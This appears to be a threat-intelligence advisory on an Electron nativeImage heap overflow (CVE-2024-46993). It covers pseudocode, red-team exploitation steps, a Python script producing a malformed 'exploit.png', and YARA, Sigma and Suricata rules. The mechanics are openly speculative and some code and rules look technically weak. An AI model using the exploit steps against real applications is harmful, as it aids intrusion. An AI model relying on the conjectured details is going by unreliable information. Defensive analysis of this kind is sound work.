CVE-2024-46993

Executive Summary

CVE-2024-46993 is a heap buffer overflow vulnerability in the Electron framework, affecting the nativeImage.createFromPath() and nativeImage.createFromBuffer() functions. An attacker who can control the image dimensions (height, width) and pixel data can trigger a heap overflow, potentially leading to arbitrary code execution within the context of the Electron application. The vulnerability exists in versions prior to 28.3.2, 29.3.3, and 30.0.3. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability affects the Electron framework, which is distributed via npm as the electron package. Applications that bundle Electron and use the nativeImage API are at risk. The supply chain risk is moderate, as the vulnerable functions are part of the core Electron API and are commonly used for handling images in desktop applications. Developers should update their Electron dependency to the patched versions immediately.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (heap buffer overflow in a widely-used framework), a reasonable estimate is:

• Attack Vector (AV): Local (L) – The attacker needs to control the image data processed by the application.
• Attack Complexity (AC): Low (L) – No special conditions required beyond providing a crafted image.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The user must open or process the malicious image.
• Scope (S): Unchanged (U) – The vulnerability affects the Electron process itself.
• Confidentiality (C): High (H) – Potential for memory disclosure.
• Integrity (I): High (H) – Potential for code injection.
• Availability (A): High (H) – Potential for crash or denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. While no active exploitation is reported, the vulnerability is in a core API and could be weaponized.

Deep Dive & Mechanics

The vulnerability resides in the nativeImage module of Electron, which wraps Chromium's image decoding capabilities. The functions nativeImage.createFromPath() and nativeImage.createFromBuffer() eventually call into Chromium's image processing pipeline. A heap buffer overflow occurs when the image dimensions (width and height) provided by the attacker are inconsistent with the actual pixel data size. The downstream function allocates a buffer based on the declared dimensions but then writes more data than allocated, causing a heap overflow.

Root Cause: Insufficient validation of image metadata against the actual data size before memory allocation and copy operations.

Attack Vector: An attacker crafts a malicious image file (e.g., PNG, JPEG) with manipulated header fields (width, height) that cause the decoder to allocate a small buffer but then write a larger amount of pixel data, overflowing the heap.

Impact: Successful exploitation can lead to:

• Arbitrary code execution in the context of the Electron application.
• Memory corruption and potential data leakage.
• Denial of service (application crash).

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the patch likely involves adding validation checks in the image decoding pipeline to ensure that the allocated buffer size matches the expected data size based on the image dimensions.

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable function
void DecodeImage(const ImageData& data) {
    int width = data.header.width;
    int height = data.header.height;
    int buffer_size = width * height * 4; // Assume 4 bytes per pixel
    char* buffer = new char[buffer_size];
    // No validation: copies data from attacker-controlled source
    memcpy(buffer, data.pixels, data.pixels_size); // Overflow if data.pixels_size > buffer_size
}

Patched Code (Conceptual):

// Pseudocode for patched function
void DecodeImage(const ImageData& data) {
    int width = data.header.width;
    int height = data.header.height;
    int expected_size = width * height * 4;
    if (data.pixels_size != expected_size) {
        // Reject invalid image
        return;
    }
    char* buffer = new char[expected_size];
    memcpy(buffer, data.pixels, expected_size);
}

Exploitation & Lab Setup

Red Team

Objective: Achieve arbitrary code execution via a crafted image.

Prerequisites:

• An Electron application that uses nativeImage.createFromPath() or nativeImage.createFromBuffer().
• Ability to supply a malicious image to the application (e.g., via file upload, network download, or local file).

Exploitation Steps:

1. Craft Malicious Image: Use a tool like pngcrush or a custom script to modify the width/height fields in a PNG or JPEG header to be small (e.g., 1x1) while the actual pixel data is large (e.g., 1000x1000).
2. Deliver Payload: Send the image to the target application.
3. Trigger Overflow: The application calls nativeImage.createFromPath() or nativeImage.createFromBuffer(), triggering the heap overflow.
4. Gain Code Execution: Overwrite function pointers or other critical data on the heap to redirect execution to shellcode.

Example Payload (Python):

import struct

def craft_malicious_png():
    # Minimal PNG with manipulated dimensions
    # This is a simplified example; real exploit requires precise heap layout
    width = 1
    height = 1
    # Actual pixel data is much larger
    pixel_data = b'A' * 10000  # Overflow data
    
    # Build PNG header (simplified)
    png_header = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0)
    ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', 0)  # CRC omitted
    # IDAT chunk with overflow data
    idat_chunk = struct.pack('>I', len(pixel_data)) + b'IDAT' + pixel_data + struct.pack('>I', 0)
    iend_chunk = b'\x00\x00\x00\x00IEND\xae\x42\x60\x82'
    
    return png_header + ihdr_chunk + idat_chunk + iend_chunk

with open('exploit.png', 'wb') as f:
    f.write(craft_malicious_png())

Blue Team

Detection:

• Monitor for crashes in Electron applications that involve heap corruption.
• Use memory analysis tools (e.g., Valgrind, AddressSanitizer) to detect buffer overflows during testing.
• Implement input validation for image dimensions before passing to nativeImage.

Mitigation:

• Update Electron to version 28.3.2, 29.3.3, or 30.0.3.
• If immediate update is not possible, avoid using nativeImage.createFromPath() and nativeImage.createFromBuffer() with untrusted image data.
• Use a sandboxed image processing library as an alternative.

Indicators of Compromise (IOCs)

• File Hashes: No known malicious samples.
• Network Patterns: No specific network indicators.
• Behavioral:
  • Unexpected crashes in Electron applications when processing images.
  • Memory corruption errors in application logs.
  • High memory usage or heap anomalies.

Detection Engineering

YARA Rule

rule CVE_2024_46993_HeapOverflow {
    meta:
        description = "Detects potential heap overflow exploitation attempts via crafted images targeting Electron nativeImage"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46993"
    strings:
        $png_magic = { 89 50 4E 47 0D 0A 1A 0A }
        $jpeg_magic = { FF D8 FF E0 }
        $small_dim = /[\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F]{4}/ // Small width/height
        $large_data = /[A-Za-z0-9]{1000,}/ // Large pixel data
    condition:
        ($png_magic or $jpeg_magic) and $small_dim and $large_data
}

Sigma Rule

title: CVE-2024-46993 - Heap Overflow in Electron nativeImage
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of heap overflow in Electron nativeImage functions
author: Valters IT
date: 2024-10-27
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\electron.exe'
        CommandLine|contains: 'nativeImage'
    condition: selection
falsepositives:
    - Legitimate use of nativeImage API
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46993 - Potential Heap Overflow via Malicious Image"; flow:to_client; content:"|89 50 4E 47 0D 0A 1A 0A|"; depth:8; content:"|00 00 00 01|"; distance:16; within:4; content:"|00 00 00 01|"; distance:4; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Electron to version 28.3.2, 29.3.3, or 30.0.3.
2. If update is not possible, disable or restrict the use of nativeImage.createFromPath() and nativeImage.createFromBuffer() with untrusted input.
3. Implement input validation for image dimensions before processing.

Long-Term Measures:

• Use a sandboxed image processing library (e.g., Sharp, ImageMagick) for untrusted images.
• Enable AddressSanitizer (ASan) during development to detect heap overflows early.
• Monitor for updates from Electron project and apply patches promptly.

Workarounds:

• None officially provided. The only mitigation is to update or avoid the vulnerable functions.

Valters IT
DevSecOps & Cyber Threat Intelligence